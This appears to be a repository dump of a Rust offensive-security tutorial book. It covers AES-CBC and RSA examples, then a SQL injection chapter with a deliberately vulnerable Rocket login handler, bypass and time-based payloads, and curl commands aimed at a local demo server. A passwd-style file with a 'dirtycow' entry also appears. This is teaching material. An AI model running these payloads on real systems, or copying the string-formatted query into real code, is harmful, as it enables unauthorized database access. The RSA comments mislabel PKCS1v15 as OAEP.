encryption securely. Symmetric-key encryption, while efficient, poses key management challenges, a characteristic where we must exercise attention in key distribution and security protocols. Asymmetric cryptography, a topic yet to be explored in this context, stands as a potential solution to the key distribution difficulty, offering enhanced security measures against unauthorized access. 701 | 702 | 703 | ```Rust 704 | :dep aes = {version="0.8.3"} 705 | ``` 706 | 707 | 708 | ```Rust 709 | :dep cbc = {version="0.1.2", features=["alloc"]} 710 | ``` 711 | 712 | 713 | ```Rust 714 | use aes::cipher::{block_padding::Pkcs7, BlockDecryptMut, BlockEncryptMut, KeyIvInit}; 715 | use cbc::{Encryptor, Decryptor}; 716 | use hex_literal::hex; 717 | 718 | type Aes128CbcEnc = Encryptor; 719 | type Aes128CbcDec = Decryptor; 720 | 721 | fn encrypt_cbc(key: &[u8], iv: &[u8], plaintext: &[u8]) -> Vec { 722 | let mut buf = Vec::from(plaintext); 723 | let cipher = Aes128CbcEnc::new(key.into(), iv.into()); 724 | cipher.encrypt_padded_vec_mut::(&mut buf) 725 | } 726 | 727 | fn decrypt_cbc(key: &[u8], iv: &[u8], ciphertext: &[u8]) -> Vec { 728 | let mut buf = Vec::from(ciphertext); 729 | let cipher = Aes128CbcDec::new(key.into(), iv.into()); 730 | cipher.decrypt_padded_vec_mut::(&mut buf).unwrap() 731 | } 732 | 733 | let key = [0x42; 16]; 734 | let iv = [0x24; 16]; 735 | let plaintext = *b"Hello, World!"; 736 | 737 | // Encrypt 738 | let ciphertext = encrypt_cbc(&key, &iv, &plaintext); 739 | println!("Encrypted Text: {:?}\n", String::from_utf8_lossy(&ciphertext)); 740 | 741 | // Decrypt 742 | let decrypted_text = decrypt_cbc(&key, &iv, &ciphertext); 743 | println!("Decrypted Text: {:?}", String::from_utf8_lossy(&decrypted_text)); 744 | ``` 745 | 746 | Encrypted Text: "??A?\u{1f}?_?)?R\u{5}P???" 747 | 748 | Decrypted Text: "Hello, World!" 749 | 750 | 751 | ### 1.5 Asymmetric Encryption 752 | 753 | In the world of Rust programming, we delve into the world of asymmetric cryptography; A domain that offers solutions to the challenges posed by symmetric-key encryption. Unlike its counterpart, asymmetric cryptography employs two interconnected yet distinct keys: one accessible to the public, the other safeguarded privately. The essence lies in the fact that data encrypted with the private key is decipherable solely by the public key, and vice versa. This nature of the private key ensures the confidentiality of data encrypted with the public key. Additionally, the private key can authenticate a user by enabling them to sign messages, decryptable only by the public key. 754 | 755 | Now, one might consider the necessity of symmetric-key cryptography given the guarantees provided by public-key encryption. The answer lies in speed; public-key cryptography tends to be slower than its symmetric counterpart. To strike a balance, organizations often adopt a hybrid approach, utilizing asymmetric cryptography for initial communication negotiations and subsequently establishing an encrypted channel for the exchange of a smaller symmetric key, known as a session key. 756 | 757 | Let's delve into typical use cases of public-key cryptography in Rust, beginning with encryption and signature validation. In the provided Rust code snippet, we observe the implementation of asymmetric encryption and the validation of digital signatures. The main function encompasses key pair generation, encryption, decryption, and signature processes. It's essential to note that while this example is comprehensive, it simplifies the complexities inherent in a practical implementation, which would typically include key exchange between remote nodes. 758 | 759 | ```rust 760 | use rsa::{Pkcs1v15Encrypt, RsaPrivateKey, RsaPublicKey}; 761 | use rsa::pkcs1v15::{SigningKey, VerifyingKey}; 762 | use rsa::signature::{Signer, Verifier}; 763 | use rand::thread_rng; 764 | use rsa::sha2::{Digest, Sha256}; 765 | 766 | fn generate_key_pair() -> (RsaPrivateKey, RsaPublicKey) { 767 | let mut rng = thread_rng(); 768 | let bits = 2048; 769 | let private_key = RsaPrivateKey::new(&mut rng, bits).expect("Failed to generate private key"); 770 | let public_key = RsaPublicKey::from(&private_key); 771 | (private_key, public_key) 772 | } 773 | 774 | fn encrypt_decrypt_message(public_key: &RsaPublicKey, private_key: &RsaPrivateKey, message: &[u8]) { 775 | // Encrypt with OAEP padding 776 | let enc_data = public_key 777 | .encrypt(&mut thread_rng(), Pkcs1v15Encrypt, message) 778 | .expect("Encryption failed"); 779 | println!("Ciphertext: {:?}\n", String::from_utf8_lossy(&enc_data)); 780 | 781 | // Decrypt with OAEP padding 782 | let dec_data = private_key 783 | .decrypt(Pkcs1v15Encrypt, &enc_data) 784 | .expect("Decryption failed"); 785 | println!("Plaintext: {:?}\n", String::from_utf8_lossy(&dec_data)); 786 | } 787 | 788 | fn sign_verify_message(private_key: &RsaPrivateKey, public_key: &RsaPublicKey, message: &[u8]) { 789 | // Hash the message using SHA-256 790 | let hash = Sha256::digest(message); 791 | 792 | // Sign the hash with PKCS#1 v1.5 padding 793 | let signing_key = SigningKey::::new(private_key.clone()); 794 | let signature = signing_key.sign(&hash); 795 | println!("Signature: {:?} \n", signature); 796 | 797 | // Verify 798 | let verifying_key = signing_key.verifying_key(); 799 | verifying_key.verify(&hash, &signature).expect("failed to verify"); 800 | println!("Signature verified"); 801 | } 802 | 803 | let (private_key, public_key) = generate_key_pair(); 804 | let message = b"A super duper secret message!"; 805 | 806 | encrypt_decrypt_message(&public_key, &private_key, message); 807 | sign_verify_message(&private_key, &public_key, message); 808 | ``` 809 | 810 | ```sh 811 | +---------------------------------+ 812 | | generate_key_pair | 813 | | | 814 | | +------+ | 815 | | | RNG | | 816 | | +--+---+ | 817 | | | | 818 | | v | 819 | | +------+ | 820 | | |RSAKey| | 821 | | |Gen. | | 822 | | +---+--+ | 823 | | | | 824 | | v | 825 | | +------+ | 826 | | |RSAKey| | 827 | | |Pub. | | 828 | | +------+ | 829 | | | | 830 | | v | 831 | | (private_key, | 832 | | public_key) | 833 | +---------------------------------+ 834 | | 835 | v 836 | +------------------------------------+ 837 | | encrypt_decrypt_message | 838 | | | 839 | | +-----------------------+ | 840 | | | Encrypt with RSA | | 841 | | | (Public Key, OAEP) | | 842 | | +-----------+-----------+ | 843 | | | | 844 | | v | 845 | | +-----------------------+ | 846 | | | Print Ciphertext | | 847 | | | +------+ | | 848 | | | | UTF8 | | | 849 | | | +------+ | | 850 | | +-----------+-----------+ | 851 | | | | 852 | | v | 853 | | +-----------------------+ | 854 | | | Decrypt with RSA | | 855 | | | (Private Key, OAEP) | | 856 | | +-----------------------+ | 857 | | | | 858 | | v | 859 | | +-----------------------+ | 860 | | | Print Plaintext | | 861 | | | +------+ | | 862 | | | | UTF8 | | | 863 | | | +------+ | | 864 | | +-----------------------+ | 865 | +------------------------------------+ 866 | | 867 | v 868 | +--------------------------------------+ 869 | | sign_verify_message | 870 | | | 871 | | +--------------------+ | 872 | | | Hash the Message | | 873 | | | (SHA-256) | | 874 | | +--------+-----------+ | 875 | | | | 876 | | v | 877 | | +--------------------+ | 878 | | | Print Hash | | 879 | | | +------+ | | 880 | | | | UTF8 | | | 881 | | | +------+ | | 882 | | +--------------------+ | 883 | | | | 884 | | v | 885 | | +--------------------+ | 886 | | | Sign Hash with RSA | | 887 | | | (Private Key, | | 888 | | | PKCS\#1 v1.5) | | 889 | | +--------+-----------+ | 890 | | | | 891 | | v | 892 | | +--------------------+ | 893 | | | Print Signature | | 894 | | | +------+ | | 895 | | | |UTF8HEX| | | 896 | | | +------+ | | 897 | | +--------------------+ | 898 | | | | 899 | | v | 900 | | +--------------------+ | 901 | | | Verify Signature | | 902 | | | (Public Key, | | 903 | | | PKCS\#1 v1.5) | | 904 | | +--------------------+ | 905 | | | | 906 | | v | 907 | | +--------------------+ | 908 | | | Print "Signature | | 909 | | | Verified" | | 910 | | +--------------------+ | 911 | +--------------------------------------+ 912 | 913 | ``` 914 | 915 | This Rust program illustrates two fundamental functions in public-key cryptography - encryption/decryption and message signing. The program begins by generating a key pair, followed by operations such as encrypting a message with the public key, decrypting it with the private key, and verifying the message signature using the public key. This example serves as an introduction to the essential concepts of asymmetric cryptography within the Rust programming language. 916 | 917 | 918 | ```Rust 919 | :dep rsa = {version="0.9.6", features=["sha2"]} 920 | ``` 921 | 922 | 923 | ```Rust 924 | :dep rand = {version="0.8.5"} 925 | ``` 926 | 927 | 928 | ```Rust 929 | use rsa::{Pkcs1v15Encrypt, RsaPrivateKey, RsaPublicKey}; 930 | use rsa::pkcs1v15::{SigningKey, VerifyingKey}; 931 | use rsa::signature::{Signer, Verifier, Keypair}; 932 | use rand::thread_rng; 933 | use rsa::sha2::{Digest, Sha256}; 934 | 935 | fn generate_key_pair() -> (RsaPrivateKey, RsaPublicKey) { 936 | let mut rng = thread_rng(); 937 | let bits = 2048; 938 | let private_key = RsaPrivateKey::new(&mut rng, bits).expect("Failed to generate private key"); 939 | let public_key = RsaPublicKey::from(&private_key); 940 | (private_key, public_key) 941 | } 942 | 943 | fn encrypt_decrypt_message(public_key: &RsaPublicKey, private_key: &RsaPrivateKey, message: &[u8]) { 944 | // Encrypt with OAEP padding 945 | let enc_data = public_key 946 | .encrypt(&mut thread_rng(), Pkcs1v15Encrypt, message) 947 | .expect("Encryption failed"); 948 | println!("Ciphertext: {:?}\n", String::from_utf8_lossy(&enc_data)); 949 | 950 | // Decrypt with OAEP padding 951 | let dec_data = private_key 952 | .decrypt(Pkcs1v15Encrypt, &enc_data) 953 | .expect("Decryption failed"); 954 | println!("Plaintext: {:?}\n", String::from_utf8_lossy(&dec_data)); 955 | } 956 | 957 | fn sign_verify_message(private_key: &RsaPrivateKey, public_key: &RsaPublicKey, message: &[u8]) { 958 | // Hash the message using SHA-256 959 | let hash = Sha256::digest(message); 960 | 961 | // Sign the hash with PKCS#1 v1.5 padding 962 | let signing_key = SigningKey::::new(private_key.clone()); 963 | let signature = signing_key.sign(&hash); 964 | println!("Signature: {:?} \n", signature); 965 | 966 | // Verify 967 | let verifying_key = signing_key.verifying_key(); 968 | verifying_key.verify(&hash, &signature).expect("failed to verify"); 969 | println!("Signature verified"); 970 | } 971 | 972 | let (private_key, public_key) = generate_key_pair(); 973 | let message = b"A super duper secret message!"; 974 | 975 | encrypt_decrypt_message(&public_key, &private_key, message); 976 | sign_verify_message(&private_key, &public_key, message); 977 | ``` 978 | 979 | Ciphertext: "????=e?)?\u{1f}\u{15}y?Qj??-????_-??V??i?\u{3}Q?9g\u{16}????R?\u{13} ?]\u{6}o?\u{18}I???Ju+\u{13}\u{f}??_\u{10}?°?\u{13}?0T??\u{5}?????\u{1f}?\u{1e}\u{8}&\u{7f}???4??\u{1d}?c>\u{8}g??MeQF\u{17}?v?o????u?KR???Y?\u{7a6}?\u{f}\u{14}h\u{3}??\u{f}e\u{1d}{?g?????\u{e}????K?\u{3}-\rR?h?\..." 980 | 981 | Plaintext: "A super duper secret message!" 982 | 983 | Signature: Signature("08237351B51C72F47641724FAB834BA9FAE5BEC23C62D2A69AE1BAFAEE4EB038D44ED63AE9A4810488C67588F7AB63EDF6F8C205DCF328C6364FE18B8350BFAE652DCED9AE1194BEE700AFE65C37588D563B71EF6A4471C4D708942847B06363645AD0964703919C1190BE415164B2FCFCCB27A6847ADAA53BC597BED36098CB38D6105D721583C0923CD01CCDAC72234DB2840C1298607DD83182FA58D498999ECDF55CC6B08BA733DC168F770741159F5D48BD99B6515771A9EF8DEDDFDA333A03C43C1330EA2C59C9BBDFCEB8F8583BDCF7B8DCE853C9BC6AD54FA2854BCDAC7A1F5602C9C9280F64B15B6B8D6911B59626500391C47AD00838187D087800") 984 | 985 | Signature verified 986 | 987 | 988 | --- 989 | -------------------------------------------------------------------------------- /chapter-3/chapter-3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wiseaidev/dark-web-rust/84447871febeb7bb0a33b26aac645098bfcbdf7d/chapter-3/chapter-3.pdf -------------------------------------------------------------------------------- /chapter-4/chapter-4.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wiseaidev/dark-web-rust/84447871febeb7bb0a33b26aac645098bfcbdf7d/chapter-4/chapter-4.pdf -------------------------------------------------------------------------------- /chapter-5/chapter-5.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wiseaidev/dark-web-rust/84447871febeb7bb0a33b26aac645098bfcbdf7d/chapter-5/chapter-5.pdf -------------------------------------------------------------------------------- /chapter-5/etc.txt: -------------------------------------------------------------------------------- 1 | snapd-range-524288-root:x:524288:524288::/nonexistent:/usr/bin/false 2 | snap_daemon:x:584788:584788::/nonexistent:/usr/bin/false 3 | haproxy:x:131:139::/var/lib/haproxy:/usr/sbin/nologin 4 | dirtycow:x:1001:1001:dirty,1,11,11:/home/dirtycow:/bin/bash 5 | -------------------------------------------------------------------------------- /chapter-5/example.txt: -------------------------------------------------------------------------------- 1 | A -------------------------------------------------------------------------------- /chapter-5/file.txt: -------------------------------------------------------------------------------- 1 | Hello Rust 2 | Hello Rust1 3 | Hello Rust12 4 | Hello Rust123 5 | Hello Rust1234 6 | Hello Rust12345 7 | Hello Rust123456 8 | Hello Rust1234567 9 | Hello Rust12345678 10 | Hello Rust123456789 -------------------------------------------------------------------------------- /chapter-5/mapping.txt: -------------------------------------------------------------------------------- 1 | Hello Memory Mapping 2 | Hello Memory Mapping1 3 | Hello Memory Mapping12 4 | Hello Memory Mapping123 5 | Hello Memory Mapping1234 6 | Hello Memory Mapping12345 7 | Hello Memory Mapping123456 8 | Hello Memory Mapping1234567 9 | Hello Memory Mapping12345678 10 | Hello Memory Mapping123456789 -------------------------------------------------------------------------------- /chapter-6/README.md: -------------------------------------------------------------------------------- 1 | # Chapter 6: SQL Injection in Rust 2 | 3 | ## Introduction 4 | 5 | In the complex landscape of real-world [**web applications**](https://en.wikipedia.org/wiki/Web_application), a fundamental aspect involves the storage and retrieval of data from [**databases**](https://en.wikipedia.org/wiki/Database). The orchestration of this data exchange requires the construction of [**SQL (Structured Query Language)**](https://en.wikipedia.org/wiki/SQL) statements by web applications. These statements are subsequently dispatched to the associated database, where they are executed, and the outcomes are then relayed back to the web application. The crux of the matter lies in the fact that SQL statements frequently encapsulate user-provided data. If the construction of these statements is not carefully handled, a vulnerability emerges, enabling an exploit known as [**SQL Injection**](https://en.wikipedia.org/wiki/SQL_injection). 6 | 7 | [**SQL Injection**](https://owasp.org/www-community/attacks/SQL_Injection) stands as one of the most common and evil blunders within the world of web applications. SQL Injection attack involves the careful injection of malicious code into the SQL statement, thereby manipulating the behavior of the database to execute unintended commands. This tricky manipulation of the SQL query can lead to [**unauthorized access**](https://en.wikipedia.org/wiki/Computer_security), [**data exfiltration**](https://en.wikipedia.org/wiki/Data_exfiltration), or even the manipulation of [**sensitive information**](https://en.wikipedia.org/wiki/Information_sensitivity) within the database. 8 | 9 | A comprehensive understanding of how SQL injection attacks operate is important for both developers and security practitioners. By the end of this chapter, you will gain insights into the potential entry points exploited by malicious actors seeking to compromise the security of web applications. In particular, we'll dive into attacking [**Rocket**](https://rocket.rs/v0.5) web apps, showing you how vulnerabilities play out in the real world. This hands-on experience is key for understanding how these attacks work, making you more savvy about keeping your apps safe. 10 | 11 | ### 1. SQL Injection Overview 12 | 13 | The process begins with the generation of a SQL statement by the web application. This statement is typically constructed with user input data, a crucial point of vulnerability. When developers fail to implement adequate safeguards, attackers can exploit this weakness by injecting malicious SQL code directly into the input fields of the web application. The malicious payload becomes seamlessly integrated into the SQL statement, essentially working on the legitimate data provided by users. 14 | 15 | To illustrate, consider a scenario where a web application accepts user credentials for authentication. The SQL statement responsible for verifying these credentials might look something like this: 16 | 17 | ```sql 18 | SELECT * FROM users WHERE username = 'username' AND password = 'password'; 19 | ``` 20 | 21 | In this example, the **username** and **password** are variables representing user-provided data. However, if the web application fails to properly validate and sanitize these inputs, an attacker could input the following credentials: 22 | 23 | ```sql 24 | ' OR '1'='1'; -- 25 | ``` 26 | 27 | The manipulated SQL statement now becomes: 28 | 29 | ```sql 30 | SELECT * FROM users WHERE username = '' OR '1'='1'; --' AND password = 'password'; 31 | ``` 32 | 33 | Due to the injected code, the condition '1'='1' always evaluates to true, essentially bypassing the authentication process and granting unauthorized access to the system. 34 | 35 | To secure web applications against SQL Injection attacks, you must adopt a multi-step approach. Implementing [**parameterized queries**](https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html), [**input validation**](https://en.wikipedia.org/wiki/Data_sanitization), and utilizing [**prepared statements**](https://en.wikipedia.org/wiki/Prepared_statement) are pivotal defensive measures. Parameterized queries ensure that user-input data is treated as data rather than executable code, preventing any attempts at code injection. Input validation involves evaluating user inputs to ensure they adhere to expected formats, mitigating the risk of malformed data causing vulnerabilities. Prepared statements offer an additional layer of defense by separating SQL code from user-provided data. 36 | 37 | ### 2. Gathering User Input 38 | 39 | Understanding how users interact with web applications is key to building effective and secure systems. As illustrated in the following diagram, web browsers serve as the gateway for users to input information, subsequently communicating with the web application server through HTTP requests. These requests carry user inputs, and the method of attachment varies based on whether it's a GET or POST request. 40 | 41 | ```sh 42 | 43 | +----------------------+ +--------------------------+ 44 | | User Form Input | | | 45 | | Web Browser | | Web Server | 46 | | | | | 47 | +----------+-----------+ +--------------+-----------+ 48 | | | 49 | | HTTP Request (GET or POST) | 50 | +---------------------------------------->| 51 | | | 52 | | | 53 | | V 54 | | +-------------+----------+ 55 | | | | 56 | | | Process User Input | 57 | | | and Construct HTTP | 58 | | | Request | 59 | | | | 60 | | +-------------+----------+ 61 | | | 62 | | | 63 | | HTTP Response | 64 | <-----------------------------------------+ 65 | ``` 66 | 67 | Consider a scenario where a web page contains a simple form. This form consists of input fields for the user's username and password. When users type in their information and click the Submit button, an HTTP request is triggered, encapsulating the entered data. The HTML snippet below exemplifies the form structure: 68 | 69 | ```html 70 |
71 |
Username:
72 |
Password:
73 | 74 |
75 | ``` 76 | 77 | Upon submission, the generated HTTP request URL might look like: 78 | 79 | ``` 80 | http://127.0.0.1:8000/login?username=user&password=paswd 81 | ``` 82 | 83 | Here, it's important to note that in the above example, the use of the HTTP protocol is for simplicity, and in a secure environment, HTTPS would be the preferred choice. 84 | 85 | When this request reaches the designated endpoint in the Rocket web framework (e.g., /login), the parameters are extracted from the request object. The corresponding Rust handler code could be as follows: 86 | 87 | ```rust 88 | #[post("/login", data = "")] 89 | async fn login(mut conn: Connection, user_data: Form) -> Result { 90 | let username = &user_data.username; 91 | let password = &user_data.password; 92 | } 93 | 94 | ``` 95 | 96 | ### 3. Fetching Data From the Database 97 | 98 | Web applications often need to interact with databases to retrieve or store information. In the given scenario, when a user provides their usrname and password via the form, the objective is to fetch additional data from the database if the correct password is provided. 99 | 100 | The user data is stored in an SQLite database, and the code snippet below demonstrates connecting to the database using the `sqlx` crate through [**`rocket_db_pools`**](https://api.rocket.rs/v0.5/rocket_db_pools/index.html) and executing a query: 101 | 102 | ```rust 103 | #[macro_use] 104 | extern crate rocket; 105 | use rocket::Error; 106 | 107 | use rocket::form::Form; 108 | use rocket_db_pools::sqlx::{self, Row}; 109 | use rocket_db_pools::{Connection, Database}; 110 | 111 | #[derive(Database)] 112 | #[database("sqlite_db")] 113 | struct DbConn(sqlx::SqlitePool); 114 | 115 | #[derive(Debug, FromForm)] 116 | struct UserData { 117 | username: String, 118 | password: String, 119 | } 120 | 121 | #[post("/login", data = "")] 122 | async fn login(mut conn: Connection, user_data: Form) -> Result { 123 | let username = &user_data.username; 124 | let password = &user_data.password; 125 | 126 | let query_result = sqlx::query(&format!( 127 | "SELECT * FROM users WHERE username = '{}' AND password = '{}'", 128 | username, password 129 | )) 130 | .fetch_one(&mut **conn) 131 | .await 132 | .and_then(|r| { 133 | let username: Result = Ok::(r.get::(0)); 134 | let password: Result = Ok::(r.get::(1)); 135 | Ok((username, password)) 136 | }) 137 | .ok(); 138 | 139 | match query_result { 140 | Some((username, password)) => Ok(format!( 141 | "username: {}, password: {}", 142 | username.unwrap(), 143 | password.unwrap() 144 | )), 145 | None => Err("User not found".into()), 146 | } 147 | } 148 | ``` 149 | 150 | This code snippet showcases the connection to an SQLite database using `sqlx`, construction of a SQL query based on user input, execution of the query, and processing of the results. It's crucial to emphasize the need to secure this endpoint, as user input becomes part of the SQL query executed by the database, underlining the importance of preventing SQL Injection vulnerabilities. 151 | 152 | ### 4. SQL Injection Exploitation 153 | 154 | To comprehend the vulnerabilities associated with SQL injection attacks, let's simplify the complex interactions between the browser, web application, and database. Imagine the web application creating an SQL statement template, leaving a blank space for the user to input data. Whatever the user provides in this space becomes an integral part of the SQL statement. The critical question is whether a user can manipulate the SQL statement's meaning. 155 | 156 | ```sql 157 | SELECT * 158 | FROM users 159 | WHERE username=' ' AND password=' ' 160 | ``` 161 | 162 | The developer's intention is for users to fill in the blanks with data. However, consider the scenario where a user inputs special characters. For instance, if a user types the random string `'pass'` in the password entry and `user' --` in the username field, the SQL statement becomes: 163 | 164 | ```sql 165 | SELECT * 166 | FROM users 167 | WHERE username= 'user' -- AND password= 'pass' 168 | ``` 169 | 170 | As everything from the `--` characters to the end of the line is treated as a comment, the SQL statement is now equivalent to: 171 | 172 | ```sql 173 | SELECT * 174 | FROM users 175 | WHERE username= 'user' 176 | ``` 177 | 178 | By cleverly using special characters like single quotes (') and two dashes (`--`), the meaning of the SQL statement has been successfully altered. The resulting query would retrieve the all info of the user with 'user' username, even if the user is unaware of **user**'s password. This constitutes a significant security breach. 179 | 180 | Taking this a step further, let's explore the possibility of extracting all records from the database. Assuming we don't know all the usernames, we need to create a predicate for the WHERE clause that is always true for all records. Since '1=1' is always true, inputting `admin' OR 1=1` -- in the username form entry results in the following SQL statement: 181 | 182 | ```sql 183 | SELECT * 184 | FROM users 185 | WHERE username= 'admin' OR 1=1 186 | ``` 187 | 188 | This SQL statement, when executed, retrieves all records from the database. 189 | 190 | #### 4.1 Blind SQL Injection 191 | 192 | In the database security domain, [**blind SQL injection**](https://en.wikipedia.org/wiki/SQL_injection#Blind_SQL_injection) poses a daunting challenge. This phenomenon occurs when attackers interact with databases without immediate access to the outcomes of their actions, a scenario often encountered in the absence of record outputs. 193 | 194 | An illustrative instance of blind SQL injection lies in the [**authentication**](https://en.wikipedia.org/wiki/Authentication) bypass, although its scope extends beyond such scenarios. The technique involves an [**inference attack**](https://en.wikipedia.org/wiki/Inference_attack), in which attackers, lacking direct visibility into the database responses, strategically attempt to leak information through logical assumptions derived from web responses. 195 | 196 | A key tactic employed in blind SQL injection is the introduction of an arbitrary time delay in the query submission. This strategic delay serves as an initiation test for an application's vulnerability to SQL injection. By inspecting the application's response time, an attacker can recognise potential vulnerabilities. 197 | 198 | ```sh 199 | +-----------------+ 200 | | Introduce | 201 | | Time Delay | 202 | +--------+--------+ 203 | | 204 | v 205 | +-----------------+ 206 | | Check App for | 207 | | Vulnerability | 208 | +--------+--------+ 209 | | 210 | v 211 | +-----------------+ 212 | | Assess with | 213 | | Boolean Checks | 214 | +--------+--------+ 215 | | 216 | v 217 | +-----------------+ 218 | | Use Time-Based | 219 | | SQL Injection | 220 | +--------+--------+ 221 | | 222 | v 223 | +-----------------+ 224 | | Analyze App | 225 | | Delayed Response| 226 | +--------+--------+ 227 | | 228 | v 229 | +-----------------+ 230 | | Combine Time & | 231 | | Boolean Tactics | 232 | +--------+--------+ 233 | | 234 | v 235 | +-----------------+ 236 | | Inject More | 237 | | Queries if Able | 238 | +--------+--------+ 239 | | 240 | v 241 | +-----------------+ 242 | | Exploit | 243 | | Vulnerabilities | 244 | +-----------------+ 245 | ``` 246 | 247 | Further complexities come from boolean-based blind injection, where attackers manipulate statements that could be true or false. By observing variations in the application's responses to injected statements, attackers can deduce the presence of vulnerabilities and subsequently manipulate the database. 248 | 249 | Time-based SQL injection introduces an additional layer of sophistication. In instances where true and false results lack detectable differences, attackers leverage functions such as [`sqlite3_sleep`](https://www.sqlite.org/c3ref/sleep.html) to artificially delay query execution. This method introduces a temporal element, where, for example, the application may pause for a specified duration before responding. 250 | 251 | Databases have different functionalities in this context. SQLITE does not have a native `SLEEP` function like some other database management systems (e.g. MYSQL). However, you can achieve a similar delay using a combination of the `SELECT` statement and the `sqlite3_sleep` extension function. Let's create a sleep-like delay in SQLite: 252 | 253 | ```sql 254 | SELECT sqlite3_sleep(3000); 255 | ``` 256 | 257 | In this example, `sqlite3_sleep(3000)` pauses the execution for 3000 milliseconds, which is equivalent to 3 seconds. The combination of time delays and Boolean queries becomes a powerful strategy, where an attacker may construct queries like: 258 | 259 | ```sql 260 | SELECT IF substring(field,1,1)='val' sqlite3_sleep(3000); 261 | ``` 262 | 263 | relying on the delay gap in responses as a critical signal. An additional tactic, known as **splitting and balancing**, involves crafting functionally identical queries that appear different. This technique allows attackers to inject additional queries while maintaining the integrity of parentheses and quotes, thereby generating legitimate SQL queries. Imagine a scenario where an attacker seeks to manipulate a database through the following safe-looking query: 264 | 265 | ```sql 266 | SELECT username FROM users WHERE id = 1 267 | ``` 268 | 269 | Now, the attacker wants to inject additional queries carefully while ensuring the overall query remains syntactically valid. The following is an example of how they might utilize the **splitting and balancing** technique: 270 | 271 | ```sql 272 | -- Original Query 273 | SELECT username FROM users WHERE id = 1 274 | 275 | -- Functionally Identical Query (Different Appearance) 276 | SELECT username FROM users WHERE id = 2-1 277 | ``` 278 | 279 | In this example, the second query appears different due to the arithmetic operation (`2-1`), but it is functionally identical to the original query. The attacker has injected their manipulation by maintaining the balance of parentheses and quotes. This ensures that the injected query, though seemingly different, aligns with the expected SQL syntax, thereby allowing the attacker to introduce additional queries without triggering syntax errors. 280 | 281 | Now, the magic happens when the attacker exploits this technique to introduce more complexity: 282 | 283 | ```sql 284 | -- Original Query 285 | SELECT username FROM users WHERE id = 1 286 | 287 | -- Functionally Identical Query with a Nested Sub-Query (Disguised) 288 | SELECT username FROM users WHERE id = 1 + (SELECT password FROM users WHERE user_id = 1) 289 | ``` 290 | 291 | Here, the appearance of the query hides the true nature of the injected query. The attacker can now insert nested sub-queries between parentheses, orchestrating a series of operations while keeping the obvious appearance consistent with legitimate SQL syntax. 292 | 293 | ### 5. SQL Injection Through cURL 294 | 295 | In the previous section, we have explored sql injection using forms. However, it's often more convenient to utilize a command-line tool for automation. [**cURL**](https://curl.se/) is a widely-known command-line utility for sending data over various network protocols, including HTTP and HTTPS. Using cURL, we can send a form from the command line rather than a web page. Consider the following example: 296 | 297 | ```sh 298 | $ curl -X POST \ 299 | -H "Content-Type: application/x-www-form-urlencoded" \ 300 | -d "username=admin' OR '1'='1' --&password=your_password" \ 301 | http://127.0.0.1:8000/login 302 | ``` 303 | 304 | This command successfully retrieves records from the database, illustrating the potential impact of SQL injection attacks when exploiting vulnerabilities in user input handling. 305 | 306 | 307 | ```sh 308 | +----------------------+ +------------------------+ 309 | | | | | 310 | | User (cURL) | | Web Server (Rocket) | 311 | | | | | 312 | +----------------------+ +------------------------+ 313 | | | 314 | | | 315 | V | 316 | +----------------------+ | 317 | | | | 318 | | Input | | 319 | | | | 320 | +----------------------+ | 321 | | | 322 | | +-------------------------+ 323 | | | Handling User Input | 324 | | | and Constructing SQL | 325 | +---------------------------->| Statement | 326 | | | 327 | +-------------------------+ 328 | | 329 | V 330 | +------------------------+ 331 | | SQL Statement | 332 | | with Malicious | 333 | | User Input | 334 | +------------------------+ 335 | | 336 | V 337 | +------------------------+ 338 | | Authentication Check | 339 | | and User Validation | 340 | +------------------------+ 341 | | 342 | +------------------------+ | 343 | | Response | | 344 | | (All Records) |<---------------------------+ 345 | +------------------------+ 346 | ``` 347 | 348 | #### 5.1 Blind Based cURL SQL Injection 349 | 350 | As you learned from the previous sections, in SQLite, time-based SQL injection can be trickier because SQLite does not have a built-in `SLEEP` function like other database management systems. However, you can leverage certain functions or tasks that take time to execute. Here's an example using SQLite: 351 | 352 | ```bash 353 | $ curl -X POST \ 354 | -H "Content-Type: application/x-www-form-urlencoded" \ 355 | --data-urlencode "username=admin' AND SELECT sqlite3_sleep(3000) --" \ 356 | --data-urlencode "password=pass" \ 357 | http://127.0.0.1:8000/login 358 | ``` 359 | 360 | In this example, the payload includes a subquery using `sqlite3_sleep(3000)` within a `CASE` statement. If the condition `(1=1)` is true, it will execute the sleep function, causing a delay. If false, it performs `0`. The `--` at the end is used to comment out the remainder of the query. 361 | 362 | Now, let's consider a basic example of using cURL for a time-based SQL injection with the splitting and balancing technique: 363 | 364 | ```bash 365 | $ curl -X POST \ 366 | -H "Content-Type: application/x-www-form-urlencoded" \ 367 | --data-urlencode "username=admin' AND (SELECT 1 FROM users WHERE username = 'admin') = 1 --" \ 368 | --data-urlencode "password=pass" \ 369 | http://127.0.0.1:8000/login 370 | ``` 371 | 372 | In this example, the payload attempts to check if the username is `'admin'`. If it is, the condition `(SELECT 1 FROM users WHERE username = 'admin') = 1` becomes true, and the authentication should proceed. If not, it becomes false. 373 | 374 | 375 | ```Rust 376 | use std::process::{Command, Output, Stdio}; 377 | 378 | // A helper function to execute a shell command from a Rust script 379 | fn execute_command(command: &str) -> Result<(), std::io::Error> { 380 | let status = Command::new("bash") 381 | .arg("-c") 382 | .arg(command) 383 | .stderr(Stdio::inherit()) 384 | .status()?; 385 | 386 | if status.success() { 387 | Ok(()) 388 | } else { 389 | Err(std::io::Error::from_raw_os_error(status.code().unwrap_or(1))) 390 | } 391 | } 392 | ``` 393 | 394 | 395 | ```Rust 396 | let command = "cd sql-injection && cargo run"; 397 | 398 | if let Err(err) = execute_command(command) { 399 | eprintln!("Error executing command: {}", err); 400 | } 401 | 402 | // In a separate terminal, execute the following cURL command: 403 | 404 | // curl -X POST \ 405 | // -H "Content-Type: application/x-www-form-urlencoded" \ 406 | // -d "username=admin' OR '1'='1' --&password=your_password" \ 407 | // http://127.0.0.1:8000/login 408 | 409 | // You will get the username and password for the first user in the database: 410 | // username: mahmoud, password: pass 411 | ``` 412 | 413 | Finished dev [unoptimized + debuginfo] target(s) in 0.13s 414 | Running `target/debug/sql-injection` 415 | 416 | 417 | Configured for debug. 418 | >> address: 127.0.0.1 419 | >> port: 8000 420 | >> workers: 8 421 | >> max blocking threads: 512 422 | >> ident: Rocket 423 | >> IP header: X-Real-IP 424 | >> limits: bytes = 8KiB, data-form = 2MiB, file = 1MiB, form = 32KiB, json = 1MiB, 